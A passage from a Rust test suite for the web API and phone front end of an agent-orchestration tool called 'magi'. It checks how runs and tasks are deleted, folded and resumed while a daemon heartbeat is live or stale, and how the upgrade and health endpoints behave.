7827        // 2. A task a live daemon is running is refused with 409.
7828        let mut t2 = Task::new(
7829            "Task 2".to_owned(),
7830            "Instruction 2".to_owned(),
7831            PathBuf::from("/repo"),
7832            Source::Human,
7833        );
7834        t2.status = TaskStatus::Running;
7835        q.put(&mut t2).expect("put t2");
7836        let mut beat = crate::daemon::Status::new();
7837        beat.current = vec![crate::daemon::Current {
7838            task: t2.id.clone(),
7839            run: "20260901-000000-r222".to_owned(),
7840        }];
7841        beat.updated_at = jiff::Timestamp::now();
7842        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7843            .expect("publish a heartbeat");
7844        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7845        assert_eq!(res.status, 409);
7846        assert!(
7847            res.json()["error"]
7848                .as_str()
7849                .unwrap()
7850                .contains("live daemon")
7851        );
7852        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7853
7854        // 3. The same `running` status and an orphaned lock, with no daemon
7855        // behind either, is a leftover and deletable. Before this the phone
7856        // refused it for good: the status never changes on its own and
7857        // nothing drops a lock whose process is gone.
7858        // The daemon is killed: the file stays, the heartbeat stops.
7859        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7860        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7861            .expect("leave a stale heartbeat");
7862        let mut t3 = Task::new(
7863            "Task 3".to_owned(),
7864            "Instruction 3".to_owned(),
7865            PathBuf::from("/repo"),
7866            Source::Human,
7867        );
7868        t3.status = TaskStatus::Running;
7869        q.put(&mut t3).expect("put t3");
7870        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7871        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7872        assert_eq!(res.status, 204);
7873        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7874        assert!(
7875            q.claim(&t3.id).is_ok(),
7876            "the stale lock went with it, so the id is claimable again"
7877        );
7878
7879        // 4. Missing id returns 404
7880        let res = fx.delete("/api/queue/nonexistent").await;
7881        assert_eq!(res.status, 404);
7882    }
7883
7884    #[tokio::test]
7885    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7886        let fx = Fixture::start().await;
7887        let runs = fx.runs();
7888
7889        // 1. Finished and folded run can be deleted along with artifacts
7890        let run_id = "20260901-000000-fold";
7891        let mut state = RunState::new(
7892            PathBuf::from("/repo"),
7893            "main".to_owned(),
7894            "abc".to_owned(),
7895            "instruction".to_owned(),
7896            Config::default(),
7897        );
7898        state.id = run_id.to_owned();
7899        state.status = RunStatus::Merged;
7900        state.candidates.push(crate::run::Candidate {
7901            index: 0,
7902            label: 'A',
7903            agent: "a".to_owned(),
7904            branch: "b".to_owned(),
7905            worktree: PathBuf::from("/w"),
7906            summary: String::new(),
7907            stat: String::new(),
7908            files: 1,
7909            commits: 1,
7910            empty: false,
7911            failed: None,
7912            verified_noop: None,
7913            duration_ms: 0,
7914            folded: true,
7915        });
7916        let dir = runs.join(run_id);
7917        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7918        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7919            .expect("write artifact");
7920        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7921            .expect("write run.json");
7922
7923        // Delete by short id
7924        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7925        assert_eq!(res.status, 204);
7926        assert!(res.body.is_empty(), "204 has no body");
7927        assert!(!dir.exists(), "run directory and artifacts must be deleted");
7928
7929        // 2. A run a live daemon is working on is refused with 409. The
7930        // heartbeat is what makes it refusable: an unfinished run with no
7931        // daemon behind it is a leftover from a killed process, and case 1
7932        // above would otherwise be impossible to tell apart from this one.
7933        let run_running = "20260901-000000-rung";
7934        write_run(&runs, run_running, RunStatus::Prep);
7935        let mut beat = crate::daemon::Status::new();
7936        beat.current = vec![crate::daemon::Current {
7937            task: "20260901-000000-task".to_owned(),
7938            run: run_running.to_owned(),
7939        }];
7940        beat.updated_at = jiff::Timestamp::now();
7941        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7942            .expect("publish a heartbeat");
7943        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7944        assert_eq!(res.status, 409);
7945        assert!(
7946            res.json()["error"]
7947                .as_str()
7948                .unwrap()
7949                .contains("live daemon"),
7950            "the refusal must say who is holding it"
7951        );
7952        assert!(
7953            runs.join(run_running).exists(),
7954            "a run in flight keeps its directory"
7955        );
7956
7957        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
7958        let run_unfolded = "20260901-000000-unfd";
7959        let mut state2 = RunState::new(
7960            PathBuf::from("/repo"),
7961            "main".to_owned(),
7962            "abc".to_owned(),
7963            "instruction".to_owned(),
7964            Config::default(),
7965        );
7966        state2.id = run_unfolded.to_owned();
7967        state2.status = RunStatus::Ready;
7968        state2.candidates.push(crate::run::Candidate {
7969            index: 0,
7970            label: 'A',
7971            agent: "a".to_owned(),
7972            branch: "b".to_owned(),
7973            worktree: PathBuf::from("/w"),
7974            summary: String::new(),
7975            stat: String::new(),
7976            files: 1,
7977            commits: 1,
7978            empty: false,
7979            failed: None,
7980            verified_noop: None,
7981            duration_ms: 0,
7982            folded: false,
7983        });
7984        let dir2 = runs.join(run_unfolded);
7985        std::fs::create_dir_all(&dir2).expect("create dir2");
7986        std::fs::write(
7987            dir2.join("run.json"),
7988            serde_json::to_string(&state2).unwrap(),
7989        )
7990        .expect("write run.json");
7991
7992        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7993        assert_eq!(res.status, 409);
7994        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7995        assert!(dir2.exists(), "unfolded run directory is kept");
7996
7997        // 4. Missing id returns 404
7998        let res = fx.delete("/api/runs/nonexistent").await;
7999        assert_eq!(res.status, 404);
8000    }
8001
8002    #[test]
8003    fn web_ui_delete_contract_in_front_end() {
8004        // 1. API block has both delete endpoints
8005        assert!(APP_JS.contains("deleteRun:"));
8006        assert!(APP_JS.contains("deleteTask:"));
8007
8008        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
8009        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
8010            ..APP_JS.find("function renderRuns").unwrap()];
8011        assert!(!run_cards_slice.to_lowercase().contains("delete"));
8012
8013        // 3. Run detail has delete entry and reasons
8014        assert!(APP_JS.contains("renderRunDelete"));
8015        assert!(APP_JS.contains("runDeleteReason"));
8016        assert!(APP_JS.contains("magi fold"));
8017        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
8018
8019        // 4. Two-step delete arming and focus on Cancel
8020        assert!(APP_JS.contains("cancel.focus"));
8021        assert!(APP_JS.contains("armedRunDelete"));
8022        assert!(APP_JS.contains("armedDelete"));
8023
8024        // 5. Running task has disabled delete
8025        assert!(APP_JS.contains("disabled: status === \"running\""));
8026    }
8027
8028    /// Every element a run card's updater reaches for must be in the `refs`
8029    /// the builder handed it.
8030    ///
8031    /// `createRunCard` builds its elements, appends them to the card, and then
8032    /// lists them again in `row.refs`. That second list is the one the updater
8033    /// uses, and nothing connects the two - an element can be built, appended
8034    /// and rendered, and still be missing from `refs`. `superseded` was, for
8035    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
8036    /// exception took `syncList` with it, and the deck showed
8037    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
8038    /// line is computed before the cards, which is why the failure looked like
8039    /// a server that had lost its runs rather than a front end that had
8040    /// stopped rendering them.
8041    ///
8042    /// A `cargo test` cannot execute the front end, so this reads the two
8043    /// halves out of the source and compares them as sets. It is not a check
8044    /// on the wording of either list: adding an element, renaming one, or
8045    /// reordering them all keeps this passing, and only using one the builder
8046    /// never published fails it.
8047    #[test]
8048    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
8049        let build = APP_JS
8050            .find("function createRunCard")
8051            .expect("createRunCard exists");
8052        let update = APP_JS
8053            .find("function updateRunCard")
8054            .expect("updateRunCard exists");
8055        let end = APP_JS
8056            .find("function renderRuns")
8057            .expect("renderRuns exists");
8058
8059        // The builder's published set: the object literal assigned to `refs`.
8060        let builder = &APP_JS[build..update];
8061        let open = builder.find("refs = {").expect("createRunCard sets refs");
8062        let literal = &builder[open + "refs = {".len()..];
8063        let close = literal.find('}').expect("the refs literal is closed");
8064        let published: HashSet<&str> = literal[..close]
8065            .split(',')
8066            // `name` and `name: value` both bind `name`.
8067            .filter_map(|entry| entry.split(':').next())
8068            .map(str::trim)
8069            .filter(|name| !name.is_empty())
8070            .collect();
8071        assert!(
8072            published.len() > 5,
8073            "the refs literal did not parse into names: {published:?}"
8074        );
8075
8076        // What the updaters reach for: every `r.<name>`, where `r` is the
8077        // `const r = row.refs` alias both functions open with.
8078        let mut used: Vec<&str> = Vec::new();
8079        let updaters = &APP_JS[update..end];
8080        for (at, _) in updaters.match_indices("r.") {
8081            // `r` must be the whole identifier, not the tail of another one
8082            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
8083            let before = updaters[..at].chars().next_back();
8084            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
8085                continue;
8086            }
8087            let rest = &updaters[at + 2..];
8088            let len = rest
8089                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
8090                .unwrap_or(rest.len());
8091            if len > 0 {
8092                used.push(&rest[..len]);
8093            }
8094        }
8095        assert!(
8096            used.len() > 5,
8097            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
8098        );
8099
8100        let missing: Vec<&str> = used
8101            .iter()
8102            .copied()
8103            .filter(|name| !published.contains(name))
8104            .collect();
8105        assert!(
8106            missing.is_empty(),
8107            "a run card's updater reaches for {missing:?}, which `createRunCard` \
8108             never put in `refs` - every card will throw and the list will \
8109             render empty under a count line that says otherwise. Published: \
8110             {published:?}"
8111        );
8112    }
8113
8114    #[tokio::test]
8115    async fn folding_from_the_phone_reports_what_it_removed() {
8116        let fx = Fixture::start().await;
8117        let runs = fx.runs();
8118
8119        // A run with no candidates has nothing to fold, which is a 200 with an
8120        // honest count rather than an error: the operator asked for the trees
8121        // to be gone and they are.
8122        let id = "20260901-000000-fold";
8123        write_run(&runs, id, RunStatus::Stalled);
8124        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8125        assert_eq!(res.status, 200);
8126        assert_eq!(res.json()["removed_count"], 0);
8127        assert_eq!(res.json()["run"], id);
8128        assert!(
8129            runs.join(id).exists(),
8130            "a fold keeps the run's record; only the worktrees go"
8131        );
8132    }
8133
8134    #[tokio::test]
8135    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
8136        let fx = Fixture::start().await;
8137        let runs = fx.runs();
8138        let wt = fx.home.path().join("wt").join("magi").join("dead");
8139        let id = "20260901-000000-dead";
8140        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8141        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8142        std::fs::create_dir_all(&wt).expect("worktree dir");
8143
8144        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8145        assert_eq!(res.status, 200, "{}", res.body);
8146        assert!(
8147            res.json()["removed_count"].as_u64().unwrap() > 0,
8148            "the worktree this build could not read a state for still went"
8149        );
8150        assert!(
8151            !runs.join(id).exists(),
8152            "an unreadable run has no candidate list to fold selectively, so \
8153             the whole record goes - same as `magi fold` on the CLI"
8154        );
8155    }
8156
8157    #[tokio::test]
8158    async fn deleting_an_unreadable_run_removes_it_wholesale() {
8159        let fx = Fixture::start().await;
8160        let runs = fx.runs();
8161        let wt = fx.home.path().join("wt").join("magi").join("gone");
8162        let id = "20260901-000000-gone";
8163        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8164        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8165        std::fs::create_dir_all(&wt).expect("worktree dir");
8166
8167        let res = fx.delete(&format!("/api/runs/{id}")).await;
8168        assert_eq!(res.status, 204, "{}", res.body);
8169        assert!(!runs.join(id).exists(), "the broken record is gone");
8170        assert!(!wt.exists(), "its worktree is gone too");
8171    }
8172
8173    #[tokio::test]
8174    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
8175        let fx = Fixture::start().await;
8176        let runs = fx.runs();
8177        let id = "20260901-000000-live";
8178        write_run(&runs, id, RunStatus::Implementing);
8179
8180        let mut beat = crate::daemon::Status::new();
8181        beat.current = vec![crate::daemon::Current {
8182            task: "20260901-000000-task".to_owned(),
8183            run: id.to_owned(),
8184        }];
8185        beat.updated_at = jiff::Timestamp::now();
8186        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8187            .expect("publish a heartbeat");
8188
8189        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8190        assert_eq!(res.status, 409);
8191        assert!(
8192            res.json()["error"]
8193                .as_str()
8194                .unwrap()
8195                .contains("live daemon"),
8196            "folding under a running agent would pull its worktree away"
8197        );
8198    }
8199
8200    #[tokio::test]
8201    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
8202        let fx = Fixture::start().await;
8203        let runs = fx.runs();
8204
8205        // Only a finished run and a failed one. An *interrupted* run - a
8206        // parked one, or one whose daemon was killed mid-node - is the case
8207        // resuming exists for: run 4043 sat at `reviewing` with the deck
8208        // saying it could not be resumed, which was the one state where
8209        // resuming was the only sensible answer.
8210        for (status, word) in [
8211            (RunStatus::Merged, "merged"),
8212            (RunStatus::Ready, "ready"),
8213            (RunStatus::Failed, "failed"),
8214        ] {
8215            let id = format!("20260901-000000-{}", &word[..4]);
8216            write_run(&runs, &id, status);
8217            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8218            assert_eq!(res.status, 409, "{word} must not be resumable");
8219            let err = res.json()["error"].as_str().unwrap().to_owned();
8220            assert!(err.contains(word), "the refusal names the status: {err}");
8221        }
8222
8223        // And an interrupted run is accepted: 202, with the resume running in
8224        // the background. `Runner::resume` fails immediately here - the
8225        // fixture's run points at a repository that does not exist - which is
8226        // the point: the handler must not wait for it to find out.
8227        let mid = "20260901-000000-midf";
8228        write_run(&runs, mid, RunStatus::Reviewing);
8229        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8230        assert_eq!(res.status, 202, "an interrupted run is resumable");
8231    }
8232
8233    #[tokio::test]
8234    async fn resume_is_refused_while_the_loop_is_running() {
8235        let fx = Fixture::start().await;
8236        let runs = fx.runs();
8237        let stalled = "20260901-000000-stal";
8238        write_run(&runs, stalled, RunStatus::Stalled);
8239
8240        // The loop is busy with a *different* run, and that is still a
8241        // refusal: a manual resume must never race whatever the loop itself
8242        // is already driving, whether that is one run or several.
8243        let mut beat = crate::daemon::Status::new();
8244        beat.current = vec![crate::daemon::Current {
8245            task: "20260901-000000-task".to_owned(),
8246            run: "20260901-000000-othr".to_owned(),
8247        }];
8248        beat.updated_at = jiff::Timestamp::now();
8249        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8250            .expect("publish a heartbeat");
8251
8252        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8253        assert_eq!(res.status, 409);
8254        let err = res.json()["error"].as_str().unwrap().to_owned();
8255        assert!(err.contains("othr"), "it names what the loop is on: {err}");
8256        assert!(err.contains("stop it first"), "{err}");
8257    }
8258
8259    #[test]
8260    fn a_run_cannot_be_resumed_twice_at_once() {
8261        let home = TempDir::new().expect("temp home");
8262        let ui = Ui::new(
8263            Queue::at(home.path().join("queue")),
8264            Questions::at(home.path().join("questions")),
8265            Talks::at(home.path().join("talks")),
8266            home.path().join("runs"),
8267            home.path().to_path_buf(),
8268            PathBuf::from("/repo"),
8269        )
8270        .with_worktrees_root(home.path().join("wt"));
8271        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8272        let again = ui.begin_resume("20260901-000000-once");
8273        assert!(again.is_err(), "a second tap must not start a second graph");
8274        drop(first);
8275        assert!(
8276            ui.begin_resume("20260901-000000-once").is_ok(),
8277            "and the claim is released when the attempt ends"
8278        );
8279    }
8280
8281    #[test]
8282    fn talk_thinking_tracks_only_its_held_turn_claim() {
8283        let home = TempDir::new().expect("temp home");
8284        let ui = Ui::new(
8285            Queue::at(home.path().join("queue")),
8286            Questions::at(home.path().join("questions")),
8287            Talks::at(home.path().join("talks")),
8288            home.path().join("runs"),
8289            home.path().to_path_buf(),
8290            PathBuf::from("/repo"),
8291        )
8292        .with_worktrees_root(home.path().join("wt"));
8293        let id = "20260901-000000-once";
8294
8295        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
8296        let turn = ui.begin_talk_turn(id).expect("claim turn");
8297        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
8298        assert!(
8299            !ui.is_thinking("20260901-000000-other"),
8300            "one talk's turn does not make another talk busy"
8301        );
8302        drop(turn);
8303        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
8304    }
8305
8306    #[tokio::test]
8307    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8308        let fx = Fixture::start().await;
8309        // Somebody else's `magi serve` owns the queue. Replacing this binary
8310        // would leave that process running an old one against the same
8311        // claims, which is worse than refusing.
8312        let mut beat = crate::daemon::Status::new();
8313        beat.pid = 4321;
8314        beat.updated_at = jiff::Timestamp::now();
8315        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8316            .expect("publish a heartbeat");
8317
8318        let res = fx.post("/api/upgrade", None).await;
8319        assert_eq!(res.status, 409);
8320        let err = res.json()["error"].as_str().unwrap().to_owned();
8321        assert!(err.contains("4321"), "the refusal names the owner: {err}");
8322        assert!(err.contains("old one against the same queue"), "{err}");
8323    }
8324
8325    /// [`should_spawn_recheck`] must refuse for the same two reasons
8326    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
8327    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
8328    /// Purely a predicate over config and the environment - no network, no
8329    /// disk, no runtime - so unlike the fixture-based tests around it this
8330    /// one needs neither.
8331    #[test]
8332    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8333        assert!(!should_spawn_recheck(&crate::config::Update {
8334            mode: UpdateMode::Off,
8335            interval: None,
8336        }));
8337
8338        // SAFETY: single-threaded as far as this variable goes, the same
8339        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
8340        unsafe {
8341            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8342        }
8343        let killed = should_spawn_recheck(&crate::config::Update {
8344            mode: UpdateMode::Notify,
8345            interval: None,
8346        });
8347        unsafe {
8348            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8349        }
8350        assert!(
8351            !killed,
8352            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8353             one-time startup check"
8354        );
8355
8356        assert!(should_spawn_recheck(&crate::config::Update {
8357            mode: UpdateMode::Notify,
8358            interval: None,
8359        }));
8360    }
8361
8362    /// [`recheck_poll_period`] must track a configured `[update] interval`
8363    /// shorter than its own default ceiling - a fixed sleep here would leave
8364    /// an operator's short interval waiting on the next wake-up instead of on
8365    /// `should_check`, which is the same bug this whole task exists to fix,
8366    /// just one level down.
8367    #[test]
8368    fn recheck_poll_period_tracks_a_short_configured_interval() {
8369        let short = crate::config::Update {
8370            mode: UpdateMode::Notify,
8371            interval: Some("1m".to_owned()),
8372        };
8373        let period = recheck_poll_period(&short);
8374        assert!(
8375            period <= Duration::from_secs(30),
8376            "a one-minute interval must wake the task far sooner than the \
8377             default ceiling, or the deck would not notice within the \
8378             interval the operator configured: got {period:?}"
8379        );
8380
8381        let default = crate::config::Update {
8382            mode: UpdateMode::Notify,
8383            interval: None,
8384        };
8385        assert_eq!(
8386            recheck_poll_period(&default),
8387            UPDATE_RECHECK_POLL_MAX,
8388            "the default day-long interval should poll at the (capped) \
8389             ceiling rather than needlessly often"
8390        );
8391    }
8392
8393    /// [`update_recheck_due`] must not repeat a check made moments ago, the
8394    /// same throttle `updater::Checker::should_check` already gives the
8395    /// CLI's notify mode. Built over an explicit state file via
8396    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
8397    /// write the operator's real `last_update_check.json` - and therefore
8398    /// cannot flake on whatever that file happens to say on the machine
8399    /// running the test.
8400    #[test]
8401    fn recheck_skips_the_network_before_the_interval_elapses() {
8402        let dir = TempDir::new().expect("temp dir");
8403        let path = dir.path().join("state.json");
8404        let state = kaishin::UpdateCheckState {
8405            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8406            last_known_latest: None,
8407            last_known_url: None,
8408        };
8409        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8410
8411        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8412        assert!(
8413            !update_recheck_due(&checker, None),
8414            "a check made moments ago must not be repeated before the \
8415             configured interval elapses"
8416        );
8417    }
8418
8419    /// An upgrade this deck already started must not be raced by a recheck
8420    /// that discovers a newer release mid-install - regardless of what
8421    /// `should_check` says, which is why the state file here is missing
8422    /// entirely: read alone, that alone would answer "never checked, go
8423    /// ahead".
8424    #[test]
8425    fn recheck_defers_to_an_upgrade_already_in_flight() {
8426        let dir = TempDir::new().expect("temp dir");
8427        let path = dir.path().join("state.json");
8428        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8429        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8430
8431        assert!(
8432            !update_recheck_due(&checker, Some(&progress)),
8433            "a recheck must not run while an upgrade this deck started is \
8434             still moving"
8435        );
8436    }
8437
8438    #[tokio::test]
8439    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8440        // The same env var the background check honours (`disabled_by_env`)
8441        // must also stop a button press before it ever calls
8442        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
8443        // means "never contact GitHub from this process", and a tap on the
8444        // upgrade button must not override that any more than a broken
8445        // `magi.toml` may. Left unset, this fixture's default config would
8446        // otherwise reach a real, unauthenticated GitHub call.
8447        //
8448        // SAFETY: single-threaded as far as this variable goes - nothing else
8449        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
8450        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
8451        unsafe {
8452            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8453        }
8454        let fx = Fixture::start().await;
8455        let res = fx.post("/api/upgrade", None).await;
8456        unsafe {
8457            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8458        }
8459        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8460        let body = res.json();
8461        assert!(body["to"].is_null(), "there was no release to move to");
8462        assert!(body["parked"].is_null(), "and nothing was parked");
8463        assert!(
8464            body["detail"]
8465                .as_str()
8466                .unwrap()
8467                .contains("disabled by MAGI_NO_AUTOUPDATE"),
8468            "{body:?}"
8469        );
8470    }
8471
8472    #[tokio::test]
8473    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8474        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
8475        // and the route answers from its own logic.
8476        //
8477        // This test used to lean on the fixture's placeholder repo failing
8478        // config discovery, which left `mode = "notify"` - and a live,
8479        // unauthenticated call to the GitHub releases API inside a unit test.
8480        // GitHub allows 60 of those an hour per address, so the suite went red
8481        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
8482        // long as somebody kept re-running it: every attempt spent another
8483        // request. Six reruns across four pull requests were charged to that
8484        // before it was read as a rate limit rather than a flake.
8485        //
8486        // What the assertion is about is the "already current" branch, which
8487        // is reached by there being no newer release *or* nowhere to look. The
8488        // second one needs no network and cannot be rate limited.
8489        let repo = TempDir::new().expect("repo dir");
8490        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8491            .expect("write magi.toml");
8492        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8493
8494        // It must answer 200 and leave the process alone: restarting for an
8495        // upgrade that did not happen parks the run in flight and drops every
8496        // connection to pay for nothing. A probe against a deck already on the
8497        // newest build did exactly that, which is how this case got its own
8498        // branch.
8499        let res = fx.post("/api/upgrade", None).await;
8500        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8501        let body = res.json();
8502        assert!(body["to"].is_null(), "there was no release to move to");
8503        assert!(body["parked"].is_null(), "and nothing was parked");
8504        assert!(
8505            body["detail"]
8506                .as_str()
8507                .unwrap()
8508                .contains("nothing restarted"),
8509            "{body:?}"
8510        );
8511    }
8512
8513    #[tokio::test]
8514    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8515        // `mode = "off"` for the same reason as the test above: a default
8516        // fixture repo falls back to `mode = "notify"`, which would make this
8517        // route's new `update` field a live, unauthenticated GitHub call on
8518        // every assertion in this suite that happens to hit `/api/health`.
8519        let repo = TempDir::new().expect("repo dir");
8520        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8521            .expect("write magi.toml");
8522        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8523
8524        let health = fx.get("/api/health").await.json();
8525        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8526        assert_eq!(
8527            health["update"]["available"], false,
8528            "checking is off, which reads as \"unknown\", not \"none\""
8529        );
8530        assert!(health["update"]["to"].is_null());
8531        assert!(
8532            health["upgrade"].is_null(),
8533            "nothing has ever asked this deck to upgrade"
8534        );
8535    }
8536
8537    #[tokio::test]
8538    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8539        let fx = Fixture::start().await;
8540        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8541
8542        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8543        progress.parked_run = Some("20260905-000000-cd51".to_owned());
8544        progress.advance(crate::updater::Stage::Parking);
8545        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8546
8547        let health = fx.get("/api/health").await.json();
8548        assert_eq!(health["upgrade"]["stage"], "parking");
8549        assert_eq!(health["upgrade"]["from"], "0.5.1");
8550        assert_eq!(health["upgrade"]["to"], "0.5.2");
8551        let waiting_on = health["upgrade"]["waiting_on"]
8552            .as_str()
8553            .expect("waiting_on is set while parking a known run");
8554        assert!(waiting_on.contains("cd51"), "{waiting_on}");
8555        assert!(waiting_on.contains("implementing"), "{waiting_on}");
8556    }
8557
8558    #[tokio::test]
8559    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8560        let fx = Fixture::start().await;
8561        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8562        progress.advance(crate::updater::Stage::Done);
8563        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8564
8565        let health = fx.get("/api/health").await.json();
8566        assert_eq!(health["upgrade"]["stage"], "done");
8567        assert!(
8568            health["upgrade"]["waiting_on"].is_null(),
8569            "nothing to wait on once it is done"
8570        );
8571    }
8572
8573    #[tokio::test]
8574    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8575        let home = TempDir::new().expect("temp home");
8576        let runs = home.path().join("runs");
8577        std::fs::create_dir_all(&runs).expect("runs dir");
8578        let ui = Ui::new(
8579            Queue::at(home.path().join("queue")),
8580            Questions::at(home.path().join("questions")),
8581            Talks::at(home.path().join("talks")),
8582            runs,
8583            home.path().to_path_buf(),
8584            PathBuf::from("/repo/magi"),
8585        )
8586        .with_launch(launch_idle);
8587        let looping = ui.looping();
8588        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8589            .await
8590            .expect("bind loopback");
8591        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8592
8593        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8594        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8595
8596        hand_over(home.path(), &looping, served, || Ok(()))
8597            .await
8598            .expect("hand over");
8599
8600        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8601        assert_eq!(
8602            after.stage,
8603            crate::updater::Stage::Restarting,
8604            "hand_over owns the record through parking and up to restarting; \
8605             the successor is what finishes it"
8606        );
8607    }
8608
8609    #[test]
8610    fn the_upgrade_button_arms_before_it_restarts_anything() {
8611        // It ends the process the operator is talking to, and a phone in a
8612        // pocket taps things. One tap arms, the second commits.
8613        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8614        assert!(APP_JS.contains("Replace the binary and restart?"));
8615        assert!(APP_JS.contains("function confirmed("));
8616        // Hidden when the loop is somebody else's, matching the 409 above -
8617        // and hidden with nothing to install, matching the 200 "already
8618        // current" branch: an operator on the newest build must not be
8619        // offered a restart that would only park a run for nothing.
8620        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8621        // A park waits for the node in flight, up to an hour for an implement
8622        // wave. Leaving the button reading "Upgrading…" for that long is the
8623        // same mistake as an error rendered off screen: it looks wedged.
8624        assert!(
8625            APP_JS.contains("Parking, then restarting"),
8626            "the button says what it is waiting for"
8627        );
8628        // And nothing to install must give the button back rather than
8629        // pretending a restart is coming.
8630        assert!(APP_JS.contains("if (!out.to)"));
8631    }
8632
8633    #[test]
8634    fn stopping_the_loop_arms_but_starting_does_not() {
8635        // A stray tap must not leave the queue stopped overnight, so a stop is
8636        // two taps through the same helper the upgrade uses; a start stays one.
8637        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
8638        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
8639        assert!(APP_JS.contains("confirmed(button, question)"));
8640        // The label put back on timeout is the one saved when arming, not a
8641        // hard-coded upgrade caption that would rename the stop button.
8642        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
